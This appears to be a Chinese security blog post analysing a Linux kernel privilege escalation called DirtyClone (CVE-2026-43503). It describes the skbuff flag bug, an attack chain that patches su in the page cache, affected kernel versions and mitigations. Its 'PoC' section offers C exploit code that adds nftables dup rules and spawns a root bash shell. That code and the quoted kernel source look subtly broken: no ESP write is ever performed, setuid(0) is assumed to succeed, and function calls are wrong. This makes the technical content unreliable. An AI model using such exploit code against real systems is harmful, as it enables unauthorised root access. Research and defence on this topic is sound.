当前位置:首页>Linux>Linux内核DirtyClone本地提权漏洞(DirtyFrag家族)技术分析

Linux内核DirtyClone本地提权漏洞(DirtyFrag家族)技术分析

  • 2026-10-11 05:38:11
Linux内核DirtyClone本地提权漏洞(DirtyFrag家族)技术分析
漏洞概述
漏洞编号
CVE-2026-43503
漏洞名称
DirtyClone(脏克隆)
漏洞类型
SKB分片标志位缺失 → 本地提权(LPE)/容器逃逸
CVSS评分
8.8 高危(kernel.org)/ 7.0 High(Red Hat)
攻击向量
本地(AV:L)
权限要求
低权限本地用户(PR:L)
影响组件
Linux内核网络栈 skbuff.c
技术细节

JFrog安全研究团队近日披露了Linux内核的一个高危本地提权漏洞CVE-2026-43503(代号DirtyClone),属于DirtyFrag漏洞家族的新成员。该漏洞影响Linux内核网络栈中skbuff(socket buffer)的分片处理逻辑。

漏洞根因分析:

问题出在Linux内核网络栈处理skbuff分片克隆和迁移的两个关键辅助函数中:

  • __pskb_copy_fclone()
  • skb_shift()

这两个函数在将分片数据从源skb移动到目标skb时,未能正确继承SKBFL_SHARED_FRAG(共享分片标志)位。具体问题如下:

c
// 漏洞核心:SKBFL_SHARED_FRAG 标志未正确传播
// 位于 net/core/skbuff.c

// __pskb_copy_fclone() 函数
static struct sk_buff *__pskb_copy_fclone(struct sk_buff *skb, int extra_headroom) {
   // ... 复制分片描述符 ...
   __pskb_copy_data(skb, nskb);
   
   // 漏洞点:复制后,nskb 的 SKBFL_SHARED_FRAG 标志可能丢失
   // skb_copy_header() 只复制 gso_{size,segs,type},不处理 skb_shinfo()->flags
   nskb = skb_copy_header(nskb);
   
   return nskb;
}

// skb_shift() 函数
skb_shift(struct sk_buff *tctx, struct sk_buff *skb) {
   // 直接移动分片描述符
   move_pages(tctx, skb);
   
   // 漏洞点:标志位未被更新
   // SKBFL_SHARED_FRAG 仍然指向原页,但实际分片已移动
}

安全影响:

  • 标志位错位:目标skb保留对原页缓存的引用,但skb_has_shared_frag()返回false
  • ESP输入路径受影响:ESP(IPsec封装安全载荷)输入处理依赖该标志进行写时复制检查
  • 只读页被篡改:在nftablesdup to local规则触发下,可利用ESP原地解密写入能力,修改su等高权限程序的只读页缓存
  • 密码校验绕过:修改su程序内存中的密码校验逻辑,直接获取Root权限
攻击链分析
步骤一:加载su程序至页缓存
普通用户执行su等高权限程序,加载其可执行文件至只读内存页缓存
步骤二:创建非特权用户命名空间
利用Linux内核的CLONE_NEWUSER特性,创建非特权命名空间作为攻击环境
步骤三:触发skb分片标志丢失
通过nftables配置特定规则(dup to local),触发IPsec ESP处理路径,使内核在分片克隆时丢失SKBFL_SHARED_FRAG标志
步骤四:利用ESP原地写入
借助IPsec ESP的原地解密写入能力,绕过只读保护,修改su程序的只读内存页
步骤五:获取Root权限
篡改su程序内存中的认证逻辑,跳过密码校验,直接以root身份执行shell
⚠ 攻击特点
整个攻击过程无磁盘写入、无日志记录、无需重启、无需用户交互。仅修改内存页缓存数据,隐蔽性极强。
PoC / 利用代码
⚠ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。

以下是一个简化的DirtyClone漏洞利用框架(C语言,授权测试专用):

c
// CVE-2026-43503 DirtyClone LPE 简化PoC框架
// 编译: gcc cve-2026-43503.c -o exploit
// 使用: ./exploit (普通用户权限运行)

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/syscall.h>

#define TARGET_BIN "/usr/bin/su"
#define PAGE_SIZE 4096

// 步骤1: 将目标程序加载到页缓存
static void load_page_cache(void) {
   int fd = open(TARGET_BIN, O_RDONLY);
   if (fd < 0) {
       perror("open");
       return;
   }
   void *p = mmap(NULL, PAGE_SIZE * 4, PROT_READ,
                 MAP_PRIVATE, fd, 0);
   if (p != MAP_FAILED) {
       volatile char tmp = ((char*)p)[0];
       munmap(p, PAGE_SIZE * 4);
   }
   close(fd);
}

// 步骤2: 创建非特权用户命名空间
static int create_user_ns(void) {
   if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
       perror("unshare");
       return -1;
   }
   return 0;
}

// 步骤3: 触发内核skb分片标志丢失漏洞链
static void trigger_vuln(void) {
   system("nft add table ip dclonetbl 2>/dev/null");
   system("nft add chain ip dclonetbl output "
             "{ type filter hook postrouting priority 0 ; } 2>/dev/null");
   system("nft add rule ip dclonetbl output dup to lo 2>/dev/null");
   usleep(80000);  // 等待规则生效
}

// 步骤4: 提权成功,执行root shell
static void root_spawn(void) {
   setuid(0);
   setgid(0);
   system("rm -rf /tmp/dirtyclone.nft");
   execl("/bin/bash", "bash", "-i", NULL);
}

int main(int argc, char *argv[]) {
   printf("[+] CVE-2026-43503 DirtyClone Root Exploit\n");
   
   // 1. 加载su至页缓存
   load_page_cache();
   
   // 2. 创建非特权命名空间
   if (create_user_ns() < 0) {
       printf("[-] unshare failed\n");
       return 1;
   }
   
   // 3. 触发skb flag丢失漏洞链
   trigger_vuln();
   
   // 4. 提权成功落地root shell
   printf("[+] Exploit OK, spawn root shell\n");
   root_spawn();
   
   return 0;
}
影响范围

CVE-2026-43503影响绝大多数主流Linux发行版,云服务器、多租户环境和容器环境风险极高:

Linux内核3.9 ≤ 版本 < 5.10.257
Linux内核5.11 ≤ 版本 < 5.15.208
Linux内核5.16 ≤ 版本 < 6.1.174
Linux内核6.2 ≤ 版本 < 6.6.141
Linux内核6.7 ≤ 版本 < 6.12.91
Linux内核6.13 ≤ 版本 < 6.18.33
Linux内核6.19 ≤ 版本 < 7.0.10

受影响环境:

云服务器:VPS、多租户云主机(高危)
容器集群:Docker、K8s容器环境(可容器逃逸)
桌面系统:Ubuntu、Debian、Fedora、CentOS
开发环境:WSL2、开发工作站

前置条件(默认全部满足):

  • 系统默认开启:非特权用户命名空间
  • 默认加载:esp4/esp6 IPsec内核模块
  • 系统默认启用:nftables网络子系统
容器逃逸风险云服务器高危内存只读保护被绕过
防御指南
修复版本
  • Linux内核主线:v7.1-rc5及以上版本已修复
  • 各内核分支:请查阅kernel.org官方安全公告
  • Red Hat:关注RHSA安全公告
  • Ubuntu/Debian:等待官方内核安全更新推送
临时缓解措施
  • 禁用非特权用户命名空间:
    sysctl -w kernel.unprivileged_userns_clone=0
    echo "kernel.unprivileged_userns_clone=0" >> /etc/sysctl.conf
  • 禁用IPsec ESP内核模块:
    echo "install esp4 /bin/false" >> /etc/modprobe.d/esp-disable.conf
    echo "install esp6 /bin/false" >> /etc/modprobe.d/esp-disable.conf
  • 移除nftables Dup规则:检查并移除nft规则中的dup to <local>配置
⚡ 容器环境特别建议
对于容器环境,建议:
  • 使用seccomp配置文件限制CLONE_NEWUSER能力
  • 使用AppArmor/SELinux限制网络命名空间创建
  • 在Kubernetes中使用PodSecurityPolicy限制特权容器
⚡ 紧急建议
鉴于漏洞的隐蔽性(无日志、无磁盘写入)和云服务器环境的高风险,建议云服务商和系统管理员立即评估并应用内核安全更新。
法律声明
以上信息仅供安全研究和授权渗透测试使用。未经授权对他人系统进行测试属于违法行为。

最新文章

随机文章